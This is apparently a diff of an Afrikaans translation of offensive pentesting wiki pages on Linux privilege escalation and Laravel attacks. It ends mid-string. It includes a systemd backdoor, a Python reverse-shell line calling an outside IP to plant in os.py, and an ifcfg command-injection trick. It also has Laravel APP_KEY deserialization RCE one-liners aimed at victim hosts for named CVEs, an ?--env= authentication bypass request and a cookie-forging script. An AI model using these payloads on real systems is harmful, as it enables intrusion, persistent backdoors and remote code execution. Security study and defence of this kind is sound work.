/etc/systemd/,** dan kan jy die lyne wysig: +Byvoorbeeld, as die masjien 'n **tomcat** server uitvoer en jy die **Tomcat-dienskonfigurasielêer binne /etc/systemd/** kan wysig, kan jy die reëls wysig: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Jou backdoor sal die volgende keer dat tomcat gestart word, uitgevoer word. +Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word. -### Kontroleer gidse +### Kontroleer vouers -Die volgende gidse mag backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer) +Die volgende vouers mag rugsteunkopieë of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1313,7 +1335,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binaries in PATH** +### **Skripte/Uitvoerbare binêre lêers in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1329,20 +1351,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekende lêers wat wagwoorde bevat +### Bekende lêers wat passwords bevat -Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat wagwoorde kan bevat**.\ -**Nog 'n interessante tool** wat jy hiervoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is terug te haal. +Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat passwords kan bevat**.\ +**Nog 'n interessante hulpmiddel** wat jy hiervoor kan gebruik, is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — 'n open source-toepassing wat gebruik word om baie passwords wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te herwin. ### Logs -As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin vind**. Hoe vreemder die log, hoe interessanter sal dit waarskynlik wees.\ -Ook kan sommige "**bad**" geconfigureerde (backdoored?) **audit logs** jou toelaat om passwords daarin op te teken, soos in hierdie post verduidelik: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. +Indien jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin vind**. Hoe vreemder die log is, hoe meer interessant sal dit wees (waarskynlik).\ +Ook kan sommige **sleg** gekonfigureerde (backdoored?) **audit logs** jou toelaat om **passwords** binne audit logs op te neem soos verduidelik in hierdie artikel: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Om **loglêers te lees** sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. +Om **logs te lees sal die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. ### Shell lêers ```bash @@ -1355,43 +1377,43 @@ Om **loglêers te lees** sal die groep [**adm**](interesting-groups-linux-pe/ind ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Algemene Creds Soek/Regex +### Generic Creds Search/Regex -Jy moet ook na lêers soek wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en kyk ook vir IPs en e-posadresse in logs, of hashes regexps.\ -Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer nagaan. +Jy moet ook kyk na lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en ook kyk vir IPs en e-posadresse in logs, of hash regexps.\ +Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles sien wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer. ## Skryfbare lêers ### Python library hijacking -As jy weet **waar** 'n python skrip uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python skrip uitgevoer gaan word, kopieer en plak die os.py library). +As jy weet vanaf **waar** 'n python-skrip uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python-skrip uitgevoer gaan word, kopieer en plak die os.py library). -Om die library te **backdoor**, voeg net aan die einde van die os.py library die volgende lyn by (verander IP en PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate-uitbuiting -'n Kwesbaarheid in `logrotate` laat gebruikers met **skryfregte** op 'n loglêer of sy ouerdirektore moontlik toe om verhoogde voorregte te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om permissies nie net in _/var/log_ na te gaan nie, maar ook in enige gids waar logrotasie toegepas word. +'n Kwesbaarheid in `logrotate` stel gebruikers met **skryftoestemmings** op 'n log-lêer of sy ouergidse in staat om moontlik verhoogde voorregte te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ te kontroleer nie, maar ook in enige gids waar logrotasie toegepas word. > [!TIP] -> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer +> Hierdie kwesbaarheid beïnvloed `logrotate` weergawe `3.18.0` en ouer -Meer gedetailleerde inligting oor die kwesbaarheid is te vind op hierdie bladsy: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Meer gedetailleerde inligting oor die kwesbaarheid is op hierdie blad beskikbaar: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy voorregte kan eskaleer deur die logs met symlinks te vervang. +Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy voorregte kan verhoog deur die logs met symlinks te vervang. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Kwesbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Kwesbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -As, om welke rede ook al, 'n gebruiker in staat is om **skryf** 'n `ifcf-` skrip na _/etc/sysconfig/network-scripts_ **of** 'n bestaande een te **aanpas**, dan is jou **stelsel pwned**. +Indien, om watter rede ook al, 'n gebruiker in staat is om **skryf** 'n `ifcf-` script na _/etc/sysconfig/network-scripts_ **of** 'n bestaande een te **wysig**, dan is jou **stelsel is pwned**. -Netwerk-skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ byvoorbeeld, word vir netwerkverbindinge gebruik. Hulle lyk presies soos .INI-lêers. Hulle word egter \~sourced\~ op Linux deur Network Manager (dispatcher.d). -In my geval word die `NAME=` attribuut in hierdie netwerk-skripte nie korrek hanteer nie. As jy **wit/blank spasie in die naam het die stelsel probeer die gedeelte na die wit/blank spasie uitvoer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**. +In my geval word die `NAME=`-toekenning in hierdie netwerkskripte nie korrek hanteer nie. As jy **wit/blank spasie in die naam het die stelsel probeer die gedeelte ná die wit/blank spasie uit te voer**. Dit beteken dat **alles ná die eerste spasie as root uitgevoer word**. Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1399,17 +1421,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Let op die leë spasie tussen Network en /bin/id_) +(_Let wel die spasieweg tussen Network en /bin/id_) ### **init, init.d, systemd, en rc.d** -Die gids `/etc/init.d` bevat **skripte** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit skripte in om `start`, `stop`, `restart`, en soms `reload` dienste. Hierdie kan direk uitgevoer word of deur simboliese skakels wat in `/etc/rc?.d/` gevind word. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. +Die gids `/etc/init.d` huisves **skripte** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit skripte in om `start`, `stop`, `restart`, en soms `reload` dienste. Hierdie kan direk uitgevoer word of deur simboliese skakels wat in `/etc/rc?.d/` gevind word. ’n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. -Aan die ander kant word `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu ingevoer is, en wat konfigurasielêers gebruik vir diensbestuurtake. Ondanks die oorskakeling na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik danksy 'n verenigbaarheidslaag in Upstart. +Aan die ander kant is `/etc/init` geassosieer met **Upstart**, ’n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, en wat konfigurasielêers vir diensbestuurtake gebruik. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik danksy ’n versoenbaarheidslaag in Upstart. -**systemd** verskyn as 'n moderne init- en diensbestuurder, wat gevorderde funksies bied soos aanvraaggebaseerde daemon-opstart, automount-bestuur, en snapshots van stelseltoestand. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat die stelseladministrasieprosesse stroomlyn. +**systemd** tree op as ’n moderne inisialisasie- en diensbestuurder, en bied gevorderde funksies soos on-demand daemon-begin, automount-bestuur, en stelseltoestand-snapshots. Dit orden lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat stelseladministrasie stroomlyn. -## Ander Truuks +## Ander truuks ### NFS Privilege escalation @@ -1434,7 +1456,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hook gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te lê. Swakke manager-verifikasie (bv. handtekeningkontroles gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager te imiteer en na root te eskaleer op reeds-geroote toestelle. Learn more and exploitation details here: +Android rooting frameworks heg gewoonlik ’n syscall om geprivilegieerde kernel-funksionaliteit aan ’n userspace manager bloot te stel. Swakke manager-outentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan ’n plaaslike app in staat stel om die manager voor te gee en na root te eskaleer op reeds-geroote toestelle. Leer meer en uitbuitingbesonderhede hier: {{#ref}} @@ -1446,13 +1468,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Meer hulp [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Beste hulpmiddel om na Linux plaaslike privilege escalation vektore te soek:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1485,6 +1507,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index f8ae51504..a64a2eb04 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -Lees inligting hieroor: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +Lees hieroor: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Enkripsie interne (Laravel \u003e=5.6) +## APP_KEY & Enkripsie interne werking (Laravel \u003e=5.6) -Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`). -Die rou koderings teks wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos: +Laravel gebruik AES-256-CBC (of GCM) met HMAC-integriteit onder die kap (`Illuminate\\Encryption\\Encrypter`). +Die rou ciphertext wat uiteindelik **na die kliënt gestuur word** is **Base64 van 'n JSON-objek** soos: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,21 +20,23 @@ Die rou koderings teks wat uiteindelik **na die kliënt gestuur** word, is **Bas "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()`, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` sal die plaintext standaard `serialize()` , terwyl +`decrypt($payload, $unserialize=true)` **sal outomaties `unserialize()`** die gedekripteerde waarde. +Daarom kan **enige aanvaller wat die 32-byte geheime `APP_KEY` ken, 'n versleutelde PHP serialized object konstrueer en RCE verkry via magic methods (`__wakeup`, `__destruct`, …)**. -Minimal PoC (framework ≥9.x): +Minimale PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Voeg die geproduseerde string in enige kwesbare `decrypt()` sink in (roete parameter, koekie, sessie, …). +Inject die geproduseerde string in enige kwesbare `decrypt()` sink (route param, cookie, session, …). --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld. +Die skrip ondersteun beide CBC- en GCM-payloads deursigtig en genereer die HMAC/tag-veld weer. --- -## Werklike wêreld kwesbare patrone +## Werklike kwesbare patrone -| Projek | Kwesbare sink | Gadget ketting | -|--------|----------------|----------------| +| Project | Vulnerable sink | Gadget chain | +|---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` koekie | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | -Die uitbuiting werkvloei is altyd: -1. Verkry of brute-force die 32-byte `APP_KEY`. -2. Bou 'n gadget ketting met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`). -3. Enkripteer die geserialiseerde gadget met **laravel_crypto_killer.py** en die herwin `APP_KEY`. -4. Lewer die ciphertext aan die kwesbare `decrypt()` sink (roete parameter, koekie, sessie …) om **RCE** te aktiveer. +Die eksploitasiewerksvloei is altyd: +1. Kry of brute-force die 32-byte `APP_KEY`. +2. Bou 'n gadget chain met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`). +3. Enkripteer die geserialiseerde gadget met **laravel_crypto_killer.py** en die herwonne `APP_KEY`. +4. Lewer die ciphertext aan die kwesbare `decrypt()` sink (route parameter, cookie, session …) om **RCE** te aktiveer. -Hieronder is bondige een-liners wat die volle aanvalspad vir elke werklike wêreld CVE hierbo demonstreer: +Hieronder is bondige eenreëls wat die volle aanvalspad vir elke bogenoemde werklike CVE demonstreer: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` +## Mass APP_KEY discovery via cookie brute-force + +Omdat elke vars Laravel-antwoord minstens 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** wat offline aangeval kan word. + +Belangrike bevindinge van die navorsing gepubliseer deur Synacktiv (2024-2025): +* Datastel Julie 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Datastel Mei 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 servers nog steeds kwesbaar vir legacy CVE-2018-15133 omdat tokens direk geserialiseerde data bevat. +* Groot key-hergebruik – die Top-10 APP_KEYs is hard-coded defaults wat saam met kommersiële Laravel-templates gestuur word (UltimatePOS, Invoice Ninja, XPanel, …). + +Die private Go-instrument **nounours** stoot AES-CBC/GCM bruteforce throughput na ~1.5 billion tries/s, wat volledige datastel-kraking tot <2 minute verminder. + + +## CVE-2024-52301 – HTTP argv/env override → auth bypass + +Wanneer PHP’s `register_argc_argv=On` (tipies op baie distros), gee PHP 'n `argv` array bloot vir HTTP-versoeke wat van die query string afgeleide is. Onlangse Laravel-weergawes het hierdie “CLI-like” args geparseer en `--env=` by runtime geag. Dit laat toe om die framework-omgewing vir die huidige HTTP-versoek te omskakel net deur dit aan enige URL toe te voeg: + +- Vinnige toets: +- Besoek `https://target/?--env=local` of enige string en kyk vir omgewing-afhanklike veranderinge (debug banners, footers, verbose errors). As die string gereflekteer word, werk die override. + +- Impakvoorbeeld (business logic wat op 'n spesiale env vertrou): +- As die app takke bevat soos `if (app()->environment('preprod')) { /* bypass auth */ }`, kan jy autentiseer sonder geldige creds deur die login POST te stuur na: +- `POST /login?--env=preprod` + +- Aantekeninge: +- Werk per-versoek, geen persistentie. +- Vereis `register_argc_argv=On` en 'n kwesbare Laravel-weergawes wat argv vir HTTP lees. +- Nuttige primitive om meer verbose errors in “debug” envs te ontbloot of om environment-gated code paths te trigger. + +- Mitigasies: +- Disable `register_argc_argv` vir PHP-FPM/Apache. +- Upgrade Laravel om argv op HTTP-versoeke te ignoreer en verwyder enige trust-aanname wat aan `app()->environment()` in production routes gekoppel is. + +Minimale uitbuitingsvloei (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## Mass APP_KEY ontdekking via koekie brute-force +## Laravel Truuks -Omdat elke nuwe Laravel respons ten minste 1 versleutelde koekie (`XSRF-TOKEN` en gewoonlik `laravel_session`) stel, **lek openbare internet skanners (Shodan, Censys, …) miljoene ciphertexts** wat offline aangeval kan word. +### Foutopsporingsmodus -Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025): -* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gekraak** (≈23 k) -* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gekraak** -* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat. -* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone (UltimatePOS, Invoice Ninja, XPanel, …) gestuur word. - -Die private Go tool **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die kraken van die volle dataset tot <2 minute verminder. - - -## Laravel Tricks - -### Foutopsporing modus - -As Laravel in **foutopsporing modus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\ +As Laravel in **foutopsporingsmodus** is, sal jy toegang hê tot die **kode** en **gevoelige data**.\ Byvoorbeeld `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Dit is gewoonlik nodig vir die ontginning van ander Laravel RCE CVE's. +Dit is gewoonlik nodig vir exploiting ander Laravel RCE CVEs. +### Fingerprinting & exposed dev endpoints + +Vinnige kontroles om 'n Laravel-stapel en gevaarlike dev-tooling wat in produksie blootgestel is, te identifiseer: + +- `/_ignition/health-check` → Ignition teenwoordig (debug-instrument wat deur CVE-2021-3129 gebruik is). As dit sonder verifikasie bereikbaar is, mag die app in debug wees of verkeerd gekonfigureer. +- `/_debugbar` → Laravel Debugbar assets; dui dikwels op foutopsporingsmodus. +- `/telescope` → Laravel Telescope (dev monitor). As dit publiek is, verwag omvattende inligtingsonthulling en moontlike aksies. +- `/horizon` → Queue dashboard; weergawe-inligting en soms CSRF-beskermde aksies. +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, en Blade-foutbladsye help ook met fingerprinting. +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversie onder: `/../.env` +Laravel stoor die APP wat dit gebruik om die cookies en ander credentials te enkripteer in 'n lêer genaamd `.env` wat bereik kan word deur path traversal onder: `/../.env` -Laravel sal ook hierdie inligting binne die foutopsporing bladsy (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is) wys. +Laravel sal hierdie inligting ook op die debug page wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is). -Deur die geheime APP_KEY van Laravel te gebruik, kan jy koekies ontsleutel en weer versleutel: +Deur die geheime APP_KEY van Laravel te gebruik, kan jy cookies decrypt en re-encrypt: -### Ontsleutel Koekie +### Decrypt Cookie ```python import os import json @@ -169,30 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw 